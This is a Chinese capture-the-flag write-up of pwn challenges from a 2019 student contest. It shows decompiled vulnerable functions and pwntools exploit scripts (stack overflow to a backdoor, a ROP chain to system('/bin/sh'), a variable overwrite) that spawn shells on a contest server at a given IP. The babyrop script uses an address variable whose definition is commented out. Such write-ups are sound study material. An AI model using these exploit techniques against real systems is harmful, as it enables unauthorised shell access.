#|2019新生杯 pwn writeup

新生杯被吊打,大佬们tql…本来周五打完就应该写wp的,颓废了一个周末,周一晚上开始写。
wp分开吧,每个方向一个wp(不是全栈!!!)
其实pwn题目有点坑…前面的没学过二进制的web手也能做,后面两题做出来的人就很少(主要是我太菜了)
五道pwn题在文末都有网盘链接
**
0x00 babyrip **
IDA看一下主要函数

int pwn() { char v1; // [rsp+0h] [rbp-F0h]printf("Enter your comment:"); __isoc99_scanf("%256s", &v1); return puts("Got shell?"); }int backd00r() { return execve("/bin/sh", 0LL, 0LL); }

能溢出,还给了后门函数…很友好
使用pwndbg里面的cyclic看一下溢出需要多少字节(junk=248*‘A’)
再找到execve("/bin/sh")的地址,溢出getshell
exp: from pwn import * context.log_level = 'debug' p = remote("34.80.207.78",10000) junk =248*"A" sys_addr = 0x04007D5 payload = junk + p64(sys_addr) p.send(payload) p.interactive()

0x01 babyrop 这道题用到了简单的rop,做这题的时候还去网上搜了下rop链的构造。
这题就很简单了:溢出+pop rdi+传入binsh地址+调用system函数
64位程序,rdi是函数调用的第一个参数,先pop rdi再把binsh地址放进rdi中。
exp: from pwn import * context.log_level = 'debug' p = process("./babyrop") #.attach(p,' ') r = remote("34.80.207.78",10001) junk = 0xf8 * "A" #bin_addr =0x0400836 sys_addr = 0x0400724 pop_rdi = 0x0400803 payload = junk +p64(pop_rdi)+p64(bin_addr)+p64(sys_addr) r.send(payload) r.interactive()

#|2019新生杯 pwn writeup
文章图片

先下断点再利用search -s寻找"/bin/sh"
0x02 babystack 【#|2019新生杯 pwn writeup】做了两题觉得第三题应该会放难一点的…没想到跟第一题一样(溢出+变量覆盖,刚开始溢出字节算错了一直在想着怎么绕过canary)
先IDA里面看一下主要函数:
unsigned __int64 pwn() { char s; // [rsp+0h] [rbp-120h] __int64 v2; // [rsp+18h] [rbp-108h] __int64 v3; // [rsp+110h] [rbp-10h] unsigned __int64 v4; // [rsp+118h] [rbp-8h]v4 = __readfsqword(0x28u); memset(&s, 0, 0x110uLL); v3 = 180097847LL; printf("Enter your name:", 0LL); read(0, &s, 0x18uLL); printf("Enter your comment:", &s); read(0, &v2, 0x100uLL); printf("Hello, %s, your comment is %s.\n", &s, &v2); if ( v3 == 20150972 ) { puts("you are an eligible user to obtain shell prompt."); system("/bin/sh"); } else { puts("you don't have permission to access shell."); } return __readfsqword(0x28u) ^ v4; }

漏洞利用过程:输入name+填充junk字节+变量覆盖即可getshell
exp: from pwn import * context(arch='amd64',os='linux',log_level="debug") r = remote("34.80.207.78",10002) r.recv() r.sendline("match") r.recv() r.sendline("a"*0xf8+p64(0x1337ABC)) r.interactive()

0x03 syscall 0x04 inversion
链接:https://pan.baidu.com/s/1vya52A8ulQKDNgoQfkgVSw 提取码:gbqk

    推荐阅读